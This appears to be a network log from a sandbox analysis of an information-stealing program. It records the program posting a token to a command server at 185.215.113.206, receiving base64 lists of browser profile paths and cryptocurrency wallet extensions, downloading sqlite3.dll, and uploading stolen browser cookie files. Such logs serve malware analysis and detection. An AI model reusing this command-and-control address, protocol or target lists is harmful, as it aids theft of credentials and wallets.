Nov 26, 2024 16:31:14.100274086 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 2d 2d 0d 0a Data Ascii: ------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="message"browsers------BFHJJJDAFBKEBGDGHCGD--
Nov 26, 2024 16:31:14.550920010 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 26, 2024 16:31:14.551179886 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 26, 2024 16:31:14.552901983 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"plugins------BFBGHDGCFHIDBGDGIIIE--
Nov 26, 2024 16:31:15.005187035 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 26, 2024 16:31:15.005647898 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 26, 2024 16:31:15.005661011 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 26, 2024 16:31:15.007122993 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 26, 2024 16:31:15.007134914 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 26, 2024 16:31:15.008456945 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 26, 2024 16:31:15.010054111 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 2d 2d 0d 0a Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="message"fplugins------JDBGDHIIDAEBFHJJDBFI--
Nov 26, 2024 16:31:15.521509886 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 26, 2024 16:31:15.550246954 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 185.215.113.206 Content-Length: 5519 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 16:31:15.550282001 CET	5519	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 26, 2024 16:31:17.139049053 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:17.139589071 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:17.426266909 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 16:31:18.051343918 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 26, 2024 16:31:18.051356077 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 26, 2024 16:31:18.051366091 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 26, 2024 16:31:18.051382065 CET	572	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49781	185.215.113.206	80	5720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 16:31:28.333807945 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JJKJDAEBFCBKECBGDBFC--
Nov 26, 2024 16:31:30.180207014 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:30.609160900 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 